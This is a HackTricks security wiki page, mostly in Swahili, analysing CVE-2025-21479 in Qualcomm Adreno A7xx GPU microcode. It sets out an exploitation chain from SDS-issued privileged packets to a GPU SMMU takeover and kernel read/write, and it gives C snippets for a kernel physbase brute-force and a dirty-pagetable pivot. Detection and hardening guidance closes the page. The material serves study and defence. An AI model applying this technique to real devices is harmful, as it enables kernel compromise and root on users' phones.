Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unafupisha hitilafu ya mantiki ya microcode ya Adreno A7xx iliyopatikana in-the-wild (CVE-2025-21479) kuwa mbinu za utumiaji zinazoweza kurudiwa: kutumia IB-level masking katika Set Draw State (SDS) kuendesha privileged GPU packets kutoka kwenye app isiyo na ruhusa, kupivota hadi takeover ya GPU SMMU na kisha kupata kernel R/W haraka na thabiti kupitia mbinu ya dirty-pagetable.

  • Imeathiriwa: Qualcomm Adreno A7xx GPU firmware kabla ya microcode fix iliyobadilisha masking ya register $12 kutoka 0x3 hadi 0x7.
  • Primitivu: Endesha privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) kutoka SDS, ambayo inadhibitiwa na mtumiaji.
  • Matokeo: Kusoma/Kuandika kumbukumbu ya kernel ya kimwili/virtual kwa hiari, kuzima SELinux, root.
  • Mahitaji ya awali: Uwezo wa kuunda KGSL GPU context na kuwasilisha command buffers ambazo zinaingia SDS (sifa ya kawaida ya app).

Usuli: IB levels, SDS and the $12 mask

  • Kernel huhifadhi ringbuffer (RB=IB0). Userspace husubmit IB1 kupitia CP_INDIRECT_BUFFER, ukichain hadi IB2/IB3.
  • SDS ni stream maalum ya amri inayopatikana kupitia CP_SET_DRAW_STATE:
  • A6xx: SDS inachukuliwa kama IB3
  • A7xx: SDS ilihamishwa kuwa IB4
  • Microcode inafuatilia kiwango cha sasa cha IB katika register $12 na kuzuia privileged packets ili zikubaliwe tu wakati level halisi inalingana na IB0 (kernel RB).
  • Bug: A7xx microcode iliendelea kumask $12 kwa 0x3 (bits 2) badala ya 0x7 (bits 3). Kwa kuwa IB4 & 0x3 == 0, SDS ilitambulika vibaya kama IB0, ikiruhusu privileged packets kutoka SDS inayodhibitiwa na mtumiaji.

Kwa nini ni muhimu:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Mfano wa Microcode diff (patch ilibadilisha mask kuwa 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Muhtasari wa Exploitation

Lengo: Kutoka SDS (kimetafsiriwa vibaya kama IB0) tuma vifurushi vya CP vilivyo na ruhusa ili kupangilia upya GPU SMMU kwa jedwali za ukurasa zilizoandaliwa na mwashambuliaji, kisha tumia vifurushi vya nakili/andika vya GPU kwa R/W ya kimwili ya hiari. Mwishowe, pasa kwa R/W ya upande wa CPU ya haraka kupitia dirty pagetable.

Mnyororo wa ngazi ya juu

  • Tunga jedwali la ukurasa la GPU la bandia katika kumbukumbu iliyoshirikiwa
  • Ingia SDS na utekeleze:
  • CP_SMMU_TABLE_UPDATE -> badilisha kwenda pagetable ya bandia
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> tekeleza primitives za kusoma/kuandika
  • CP_SET_DRAW_STATE with run-now flags (itekelezwe mara moja)

Primitives za GPU R/W kupitia pagetable ya bandia

  • Kuandika: CP_MEM_WRITE kwa GPU VA iliyochaguliwa na mwashambuliaji ambayo PTEs zake umeziweka kwa PA uliyoteua -> kuandika kimwili chochote
  • Kusoma: CP_MEM_TO_MEM inakopa 4/8 bytes kutoka PA lengwa kwenda buffer iliyoshirikiwa na userspace (tumia batch kwa kusoma kubwa)

Vidokezo

  • Kila mchakato wa Android hupata KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Kubadilisha contexts kawaida kunasasisha jedwali za SMMU katika RB; hitilafu inakuwezesha kufanya hivyo katika SDS.
  • Msongamano mkubwa wa trafiki ya GPU unaweza kusababisha kuzima UI na upya mfumo; kusoma ni kidogo (4/8B) na sync ni polepole kwa default.

Kujenga mfululizo wa amri za SDS

  • Spreyi jedwali la ukurasa la GPU la bandia katika kumbukumbu iliyoshirikiwa ili angalau mfano mmoja upatikane kwenye anwani ya kimwili inayojulikana (mfano, kupitia allocator grooming na kurudia).
  • Jenga buffer ya SDS inayojumuisha, kwa mpangilio:
  1. CP_SMMU_TABLE_UPDATE kwa anwani ya kimwili ya pagetable ya bandia
  2. Moja au zaidi ya vifurushi vya CP_MEM_WRITE na/au CP_MEM_TO_MEM ili kutekeleza R/W kwa kutumia tafsiri zako mpya
  3. CP_SET_DRAW_STATE ikiwa na bendera za run-now

Ufafananuzi halisi wa vifurushi hutofautiana kwa firmware; tumia freedreno’s afuc/packet docs kuunda maneno, na hakikisha path ya kuwasilisha SDS inachukuliwa na driver.

Kupata Samsung kernel physbase chini ya physical KASLR

Samsung hubadilisha kwa bahati msingi wa kimwili wa kernel ndani ya eneo linalojulikana kwenye vifaa vya Snapdragon. Fanya brute-force kwa anuwai inayotarajiwa na tafuta 16 bytes za kwanza za _stext.

Mzunguko wa mfano

c
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Mara physbase inapotambuliwa, hesabu virtual ya kernel kwa ramani ya mstari:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Kuweka imara kwa CPU-side kernel R/W (dirty pagetable)

GPU R/W ni polepole na ina granularity ndogo. Pivot kwa primitive ya haraka/imara kwa kuharibu PTEs za mchakato wako ("dirty pagetable"):

Hatua

  • Pata current task_struct -> mm_struct -> mm_struct->pgd kwa kutumia primitives za polepole za GPU R/W
  • mmap kurasa mbili jirani za userspace A na B (mfano, at 0x1000)
  • Pitia PGD->PMD->PTE ili kutambua anwani za kimwili za PTE za A/B (msaada: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Andika tena PTE ya B ili iashirie last-level pagetable inayosimamia A/B kwa sifa za RW (phys_to_readwrite_pte)
  • Andika kupitia VA ya B ili ubadilishe PTE ya A ili iangalie PFNs lengwa; soma/andika kumbukumbu ya kernel kupitia VA ya A, ukifuta TLB hadi sentinel ibadile
Mfano wa dirty-pagetable pivot snippet
c
uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE);
page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx);
uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM);
uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map);
uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1);
uint64_t pmd_off = get_pmd_offset((uint64_t)map);
uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1);
uint64_t pte_off = get_pte_offset((uint64_t)map);
uint64_t pte_addr = phys_pte + pte_off;
uint64_t new_pte = phys_to_readwrite_pte(pte_addr);
kernel_write_u64(ctx, pte_addr + 8, new_pte, false);
while (page_map[0] == 0x4242424242424242) flush_tlb();

Ugunduzi na kuimarisha

  • Firmware/microcode: rekebisha maeneo yote yanayoficha $12 ili kutumia 0x7 (A7xx) na kagua milango ya pakiti zilizo na ruhusa
  • Dereva: thibitisha kiwango cha IB kinachofanya kazi kwa pakiti zilizo na ruhusa na utekeleze orodha za kuruhusu kwa kila muktadha
  • Telemetry: toa onyo ikiwa CP_SMMU_TABLE_UPDATE (au opcodes za kibali zinazofanana) zinaonekana nje ya RB/IB0, hasa katika SDS; fuatilia milipuko isiyo ya kawaida ya 4/8-byte CP_MEM_TO_MEM na mifumo isiyo ya kawaida ya flush za TLB
  • Kernel: imarisha metadata ya pagetable na gundua mifumo ya uharibifu wa PTE za mtumiaji

Athari

App ya ndani yenye ufikiaji wa GPU inaweza kutekeleza pakiti za GPU zenye kibali, kunyang'anya GPU SMMU, kupata R/W ya kimwili/virtual ya kernel kwa hiari, kuzima SELinux na kupata root kwenye vifaa vya Snapdragon A7xx vilivyoathiriwa (mfano: Samsung S23). Ukali: Juu (uvunjaji wa kernel).

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks